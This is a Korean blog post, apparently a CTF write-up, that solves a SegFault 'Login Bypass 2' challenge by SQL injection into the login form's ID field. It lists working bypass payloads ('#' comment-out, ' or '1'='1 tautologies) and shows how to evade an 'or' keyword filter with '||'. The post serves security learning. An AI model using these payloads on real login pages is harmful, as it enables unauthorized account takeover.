Wargame & CTF/SegFault

[SegFault] (Authentication Bypass) - Login Bypass 2

Gearvirus(junyup2) 2023. 12. 6. 04:01

[SegFault] Authentication Bypass (Login)

Login Bypass 2.

normaltic2 둜 λ‘œκ·ΈμΈν•˜μž!

 

문제 νŒŒμ•…

  • μœ„μ˜ νŽ˜μ΄μ§€μ— μ ‘μ†ν•˜λ©΄ μ•„λž˜μ™€ 같은 화면이 λ‚˜μ˜¨λ‹€.
  • μ•Œκ³  μžˆλŠ” 계정 :  [ID/PW] : doldol / dol1234

  • Burp Suite을 μ΄μš©ν•˜μ—¬ μ‚¬μ΄νŠΈ 접속 κ³Όμ •μ˜ μƒνƒœμ½”λ“œ(Status code) ν™•μΈν•œλ‹€.
    • 200 OK
  • 둜그인 κ³Όμ •μ˜ ꡬ쑰λ₯Ό μ•ŒκΈ° μœ„ν•΄, μš°μ„  μ•Œκ³  μžˆλŠ” μ •λ³΄λ‘œ 둜그인 ν•΄λ³Έλ‹€.

  • 둜그인 κ³Όμ •μ˜ νžˆμŠ€ν† λ¦¬(HTTP history), μƒνƒœμ½”λ“œ(Status code) ν™•μΈν•œλ‹€.
    • 302 Found
    • 200 OK
  • μš”μ²­(Request)을 μ‚΄νŽ΄λ³΄μž !

  • /login2/login.php κ²½λ‘œμ— postλ©”μ„œλ“œλ‘œ νŒŒλΌλ―Έν„° UserId=doldol&Password=dol1234&Submit=Login λ“€μ–΄κ°€λŠ” 것을 확인할 수 μžˆλ‹€.
  • 둜그인이 μ„±κ³΅ν•˜μ—¬ index.php둜 λ¦¬λ””λ ‰μ…˜λ˜λŠ” 것을 λ³Ό 수 μžˆλ‹€.

생각 κ³Όμ •

생각 κ³Όμ •
1. SQL Injection이 κ°€λŠ₯ν•œκ°€? Yes
-> doldol' and '1'='1 / dol1234 둜 둜그인 μ‹œλ„ : 성곡
2. μ–΄λ–€ 둜직으둜 이루어져 μžˆμ„κΉŒ?
  2-1. 식별/인증 λ™μ‹œ normaltic2'or'1'='1/ μ•„λ¬΄κ±°λ‚˜ μ‹œλ„ :μ‹€νŒ¨(Fail)
  2-2. or 필터링?! normaltic2'# / μ•„λ¬΄κ±°λ‚˜ μ‹œλ„

풀이 κ³Όμ • (ν•΄κ²° λ°©μ•ˆ)

  • or 에 λŒ€ν•œ 필터링이라고 μƒκ°ν•˜κ³  normaltic2'#으둜 둜그인이 κ°€λŠ₯ν–ˆλ‹€.
  • ν•˜μ§€λ§Œ or κ°€ μ–΄λ–€μ‹μœΌλ‘œ 필터링 λ˜μ–΄ μžˆλŠ”μ§€λ₯Ό μƒκ°ν•΄λ³΄λŠ” 것이 μ€‘μš”ν•˜κΈ° λ•Œλ¬Έμ— λ‹€μŒκ³Ό 같이 ν…ŒμŠ€νŠΈ ν•΄λ³΄μ•˜λ‹€.

 

or 필터링 ν…ŒμŠ€νŠΈ

예츑 κ°€λŠ₯ν•œ 필터링

' or ' 이 필터링 λœλ‹€κ³  μƒκ°ν•˜λ©΄
normaltic' or '1' -> normaltic1' κ°€ λœλ‹€.
'or 이 필터링 λœλ‹€κ³  μƒκ°ν•˜λ©΄
normaltic' or'1' -> normaltic' 1 κ°€ λ˜μ–΄ μ•ˆλœλ‹€.
or' 이 필터링 λœλ‹€κ³  μƒκ°ν•˜λ©΄
normaltic'or '1' -> normaltic '1 κ°€ λ˜μ–΄ μ•ˆλœλ‹€.
'or' 이 필터링 λœλ‹€κ³  μƒκ°ν•˜λ©΄
normaltic'or'1' -> normaltic1' 이 λ˜μ–΄ λ˜μ•Όν•œλ‹€.

ν…ŒμŠ€νŠΈ 해보면 μ•„λž˜μ™€ κ°™λ‹€.

' or ' (μ•žκ³΅λ°±O뒷곡백X)
normaltic' or'1' = '1'# μ‹€νŒ¨
'or ' (μ•žκ³΅λ°±X뒷곡백O)
normaltic'or '1' = '1'# μ‹€νŒ¨
'or' (곡백 μ—†μŒ)
normaltic'or'1' = '1'#
' or ' (μ•žλ’€ 곡백)
normaltic' or '1' = '1'# normaltic1으둜 성곡
  • 즉 μ•žλ’€ 곡백이 μžˆλŠ” 경우만 λ’€μ˜ μˆ«μžκ°€ μ œλŒ€λ‘œ λΆ™μ–΄μ„œ 이어짐을 μ•Œ 수 μžˆλ‹€.
  • μœ„μ˜ κ²°κ³Όλ₯Ό λ°”νƒ•μœΌλ‘œ 생각해보면?

λ‹€λ₯Έ 풀이법

  • normaltic' or '2' = '1'# 을 λ„£μ—ˆμ„λ•Œ normaltic2둜 λ‘œκ·ΈμΈλ˜μ–΄ 이 λ°©λ²•μœΌλ‘œλ„ ν’€ 수 μžˆμŒμ„ μ•Œ 수 μžˆλ‹€.

λ˜ν•œ 이 문제의 필터링은 문자 or을 필터링 ν•œκ²ƒμ΄κΈ° λ•Œλ¬Έμ—

  • normaltic2'||'1'='1 둜 normaltic2둜 둜그인이 κ°€λŠ₯ν–ˆλ‹€.
  • || μ΄λΌλŠ” or μ—°μ‚°μžμ— λŒ€ν•΄μ„œλŠ” μ•ˆλ§‰ν˜€ μ˜€λ‹€λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€.

생각해볼 점

전체 μ‘°νšŒκ°€ λ˜λŠ” 경우
normaltic1' = '0'#
normaltic1' = False#

normaltic1으둜 λ‘œκ·ΈμΈλ˜λŠ” 경우
normaltic1' = True#
normaltic1'#
  • 식별과 인증이 λ™μ‹œμ— λ˜λŠ” κ²½μš°μ— '# 을 ν†΅ν•΄μ„œ password 뢀뢄을 μ£Όμ„μ²˜λ¦¬ ν•΄μ€€λ‹€.
  • μ•žμ˜ id λΆ€λΆ„λ§Œ μ΄μš©ν•˜μ—¬ μ°Έ, 거짓에 따라 μ‘°νšŒλ˜λŠ” 정보가 닀름을 μ•Œ 수 μžˆλ‹€.

질문 ν™˜μ˜, μˆ˜μ • 및 보완에 λŒ€ν•œ μ§€μ  ν™˜μ˜